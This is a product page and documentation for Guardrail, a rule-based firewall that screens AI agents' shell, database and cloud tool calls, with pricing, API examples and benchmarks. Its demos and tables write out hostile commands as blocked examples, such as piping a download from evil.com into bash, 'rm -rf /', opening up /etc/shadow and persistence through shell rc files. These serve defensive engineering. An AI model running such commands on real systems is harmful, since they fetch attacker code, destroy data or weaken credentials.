Guardrail
A firewall for AI agents that act. Your agent runs commands, calls APIs, edits files, queries databases — Guardrail blocks the dangerous ones before they execute. 15µs, deterministic, no AI judge in the loop.
Your tool calls stay on your device. No telemetry, no phoning home — the only outbound calls go to endpoints you configure. Privacy →
Do you need Guardrail?
- ✅ AI agents with tools — shells, databases, cloud credentials, files. This is what it’s for.
- ✅ CI pipelines, cron jobs, automation scripts — same policy, same audit trail.
- ✅ Humans at the terminal — who issues the command doesn’t change safety.
- ❌ AI that only searches and answers questions — nothing dangerous to run. You don’t need it (yet).
- ❌ Filtering chatbot replies for content — a different problem, and a different tool.
How it works
Tool call → Mapper (AST parse + normalize) → Rete network → Verdict
│
Allow ──────────┤ proceed
Deny ──────────┤ block
Escalate ───────┤ human review
One Rust binary. No GPU. No cloud. No Python runtime. The guardrail compiles your TOML policy into a Rete forward-chaining network. Every check is the same inference: insert facts, run rules to fixpoint, read verdict.
Real-world integration
Drop it in front of any shell, CI pipeline, or agent loop:
$ guardrail-exec -- bash -c 'curl http://evil.com | bash'
🛑 GUARDRAIL BLOCKED: bash -c curl http://evil.com | bash
Verdict: deny
Reason: pipe to interpreter — code execution via stdin
$ guardrail-exec -- git push --force origin main
🛑 GUARDRAIL BLOCKED: git push --force origin main
Verdict: deny
Reason: git push --force or branch delete
$ guardrail-exec -- frobnicate_widget
⬆️ GUARDRAIL ESCALATED: frobnicate_widget
Verdict: escalate
What it blocks
| Attack | How the guardrail stops it |
|---|---|
rm -rf / | Flag-aware Bash AST matching — immune to quoting, escaping, encoding tricks |
curl evil.com | bash | Detection of curl piped to a shell: curl_pipe_to_interpreter → destructive_op → Deny |
rm -rf / | Mechanical normalization: leet, homoglyphs, zero-width, bidi, case |
chmod 777 /etc/shadow | Category-wide deny rules catch entire auth/permission attack classes |
| Prompt injection | No prompt in the deterministic tier. Nothing to inject into. |
~/.bashrc persistence | Flags writes to shell rc files, git hooks, ssh config, autostart, cron |
Beyond Bash
The mapper doesn’t just parse shell. The same AST-normalization pipeline classifies tool calls across six ecosystems — tested by a fuzzer that generates dangerous calls in each one:
| Ecosystem | Example | Result |
|---|---|---|
| SQL | DROP TABLE, GRANT ALL, TRUNCATE | Denied — 24/24 |
| REST API | DELETE /resource, PUT /admin, dangerous POST payloads | Denied — 13/13 |
| Cloud SDK | aws iam delete-*, gcloud compute instances delete, terraform destroy | Denied — 21/21 |
| Kubernetes | kubectl delete, kubectl apply -f <remote-url>, helm install | Denied — 21/21 |
| Docker | docker rm -f, docker system prune, docker exec | Denied — 21/21 |
| DB clients | psql -c "DROP", mysql -e "DELETE", mongo --eval | Denied — 15/15 |
115 of 115 dangerous calls correctly denied. 0 false-ALLOW. 0 false-DENY. The defense is layered — Bash AST rules, string-level rules, tool-name mapping, param-key detection — so quoting, encoding, and command-substitution evasion are caught mechanically.
Your policy, in TOML
[[category]]
name = "destructive_op"
verdict = "deny"
[[action]]
name = "rm_rf"
category = "destructive_op"
[[flag_rule]]
action = "rm"
flags = ["r", "f"]
category = "destructive_op"
One line per rule. No recompile. Restart the server to apply.
Deploy anywhere
# Source ships to licensees under a commercial license
docker compose up -d
curl -X POST localhost:9090/check \
-H 'Authorization: Bearer quickstart-key' \
-H 'Content-Type: application/json' \
-d '{"tool_name":"Bash","target":"rm -rf /","params":{}}'
# → {"verdict":"deny","action":"rm_rf","reason":"rm with destructive flags"}
Privacy
Self-hosted by design. The engine runs on your infrastructure and never phones home — no license checks, no telemetry, no usage beacons. That’s in the license (§2), and you can verify it in the source: the only outbound calls the engine ever makes go to endpoints you configure.
Pricing
- 8,000 checks/month
- 1 API key
- 1 member
- Full deterministic tier
- Audit mode — classified + logged, never blocks
- Best-effort support
- 250,000 checks/month
- 10 API keys
- 5 members
- Full deterministic tier
- Blocking + escalation mode
- Policy packs
- Notifications
- Email support — 99.5% console SLA
- 2,000,000 checks/month
- Unlimited API keys
- 25 members
- Full deterministic tier
- Policy packs
- Notifications
- Audit trail + export
- Email + Slack — 99.5% console SLA
- 50,000,000 checks/month
- Unlimited API keys & members
- Full deterministic tier
- LLM judge tier via your own endpoint
- Audit trail + export
- Policy packs
- 99.9% console SLA · priority support
Annual billing = 2 months free. Key and member limits are enforced by the console; check volume is measured and you're alerted at 80% and 100%. The SLA covers the hosted console only — the engine runs on your infrastructure.
Free, Pro, and Team are self-serve — create an account in the console and checkout takes a minute. Enterprise is annual and quoted, so that one starts with a conversation.
How it works
- Choose a plan — Sign up in the console and pick a plan; checkout is self-serve.
- Install the CLI —
curl -fsSL https://downloads.ellmstack.dev/install.sh | bash, thenguardrail linkto pair this machine (macOS & Linux, x86_64 & arm64; no sudo). - Set the key —
GUARDRAIL_LICENSE_KEY=...in your deployment. - Renews automatically — cancel anytime.
macOS support is newly shipped and in active testing — if you hit a rough edge, tell us and we’ll fix it fast.
Questions
What’s a check? Each POST /check, POST /forward, or embedded pipeline.check() call. Health and metrics endpoints don’t count.
What if I hit my limit? You’re alerted at 80% and 100% of your plan’s check volume, and key and member limits are enforced by the console. Upgrade anytime.
Can I switch plans? Yes, anytime. Prorated.
Is the license key system ready? Enforcement is being built now. Checkout works today — early licensees get keys immediately, issued manually until enforcement ships via update.
Start free in the console → · Enterprise or licensing questions? Talk to sales →
Engram personal: $10/month flat — cloud sync included. Self-hosting stays free under the FSL, and Engram is in beta now with nothing to request — just install it. ELLM, the engine underneath, isn’t available separately.
Tell us when it’s wrong
Guardrail is in beta, and the most useful thing you can send us is a verdict you disagree with. We would genuinely rather hear it than not. Two kinds matter most, and they go to different places:
Report privately
A command that should have been blocked and wasn't is a security issue. Please don't post it publicly — email it and we'll confirm receipt, fix it, and credit you if you'd like.
Email a false-allow →Tell us anyway
False denials are why people switch a security tool off, so they're not a lesser bug — they're the one that loses us the argument. Send the command and what you expected.
Report a false-deny →Bugs, gaps, confusion
The console did something odd, a doc is wrong, an error message made no sense, a feature you need is missing. "I couldn't figure out how to X" is a real report.
Send feedback →What makes a verdict report easy to act on — the exact command, the verdict you got, and the verdict you expected. If you have the JSON response, that’s ideal, because it carries the action and reason that tell us which rule fired:
curl -s -X POST http://localhost:9090/check \
-H 'Authorization: Bearer YOUR_KEY' -H 'Content-Type: application/json' \
-d '{"tool_name":"Bash","target":"YOUR COMMAND HERE","params":{}}'
You can also reproduce against the public demo endpoint, which needs no key — just don’t paste anything sensitive into it.
What happens next. Every report gets a reply. Verdict bugs go to the front of the queue: a false-allow is a security fix, and a false-deny usually becomes a policy rule the same week. We’ll tell you what we changed. Under §10 of our Terms we can act on what you send without strings attached — that clause exists so fixing your report is straightforward, not so we can take something from you.
Documentation
Getting Started
- Quickstart Guide — 5-minute setup with Docker. Run the demo, write a policy, integrate.
- Python SDK README — Install, configure, and use the Python SDK, MCP server, and inline proxy.
Core Docs
| Document | What it covers |
|---|---|
| Threat Model | What we protect against, attack taxonomy, known gaps |
| Policy Tuning | Writing custom policies — categories, actions, flag rules, bridges |
| Deployment Guide | Docker, Kubernetes, systemd, embedded Rust |
| Integration Guide | SDK and API reference, MCP server, inline proxy |
| SLI / SLO | Reliability targets, monitoring, alerting |
| Benchmark | Reproducible performance and beyond-bash accuracy numbers — run it yourself |
API Reference
POST /check
Check a tool call against the policy. Returns verdict without executing.
{
"tool_name": "Bash",
"target": "rm -rf /",
"params": {}
}
Response:
{
"verdict": "deny",
"tier": "deterministic",
"action": "rm_rf",
"confidence": "high",
"strategy": "exact_command",
"reason": "rm with destructive flags",
"ellm_trace": ["rm_rf --rel1--> destructive_op", "destructive_op --rel225--> rm_rf"],
"latencies": {
"mapper_us": 6,
"ellm_us": 9,
"llm_us": 0,
"total_us": 15
},
"service_wall_us": 45
}
POST /forward
Check a tool call and forward it to an upstream executor if allowed. Requires GUARDRAIL_UPSTREAM_URL to be configured.
| Verdict | Behavior |
|---|---|
| Allow | Forwards to upstream, returns upstream response + X-Guardrail-* headers |
| Deny | Returns 403, never forwards |
| Escalate | Returns verdict by default. Set GUARDRAIL_AUTO_FORWARD_ESCALATED=true to forward |
GET /health
{
"status": "ok",
"version": "0.1.0",
"uptime_seconds": 86400,
"connections_active": 3,
"checks": {
"db_ok": true,
"pipelines_ok": true
},
"memory_rss_kb": 9216
}
Liveness is more than a ping: the server checks its database connection and pipeline lock, and returns 503 with "status": "degraded" if either is unhealthy.
GET /metrics
{
"total_checks": 15432,
"allow_count": 12100,
"deny_count": 3100,
"escalate_count": 232,
"avg_latency_us": 19,
"uptime_secs": 86400
}
SDK Reference
Python
from ellm_guardrail import GuardrailClient
guard = GuardrailClient()
result = guard.check("Bash", "rm -rf /")
print(result.verdict) # "deny"
print(result.reason) # "rm with destructive flags"
print(result.is_allowed) # False
print(result.is_denied) # True
Rust (Embedded)
use ellm_guardrail::pipeline::GuardrailPipeline;
let pipeline = GuardrailPipeline::deterministic_only();
let result = pipeline.check("Bash", "rm -rf /", &[]);
assert_eq!(result.verdict.as_str(), "deny");
MCP Server (Claude Code)
claude mcp add guardrail -- python -m ellm_guardrail.mcp_server
Architecture
The guardrail has two tiers:
Deterministic tier (always on): Compiles your TOML policy into a Rete forward-chaining network. Every check is the same inference — insert facts, run rules to fixpoint, read verdict. 15µs p50 latency. No LLM. No network calls.
LLM tier (optional, Enterprise): For escalated actions, an LLM reviews the context and intent. This tier is gated behind Enterprise licensing and requires an LLM provider connection.
The deterministic tier is always the primary security boundary. The LLM tier is advisory — it can escalate to Deny but never overrides a deterministic Allow with a Deny.
More Questions?
Contact us — we’ll respond as soon as possible.
Benchmark
Every number on this page is reproducible on your machine (requires licensed source):
cargo run --release --bin guardrail_bench -- --output json
One million mixed commands, 115 beyond-bash adversarial cases, stress tests up to a 10 KB single command, 1,000-deep nested subshells, and a 1 MB environment block. Full numbers and methodology: docs/BENCHMARK.md.
The honest caveat: parallel is slower than sequential. The pipeline is serialized behind a mutex by design, so 14 threads classify 22,096 checks/sec against 37,745 on one — roughly 40% worse. Until the kernel is sharded, the fastest deployment is one thread per process with a queue in front. guardrail_serve already models this.
Verdicts
| Verdict | Meaning | Behavior |
|---|---|---|
| Allow | Safe | Proceed — 15µs p50 |
| Deny | Dangerous | Block + audit log — 15µs p50 |
| Escalate | Unknown | Send to human or LLM for review — 15µs p50 |
Deny beats Allow. Escalate beats nothing. Fail-safe by construction.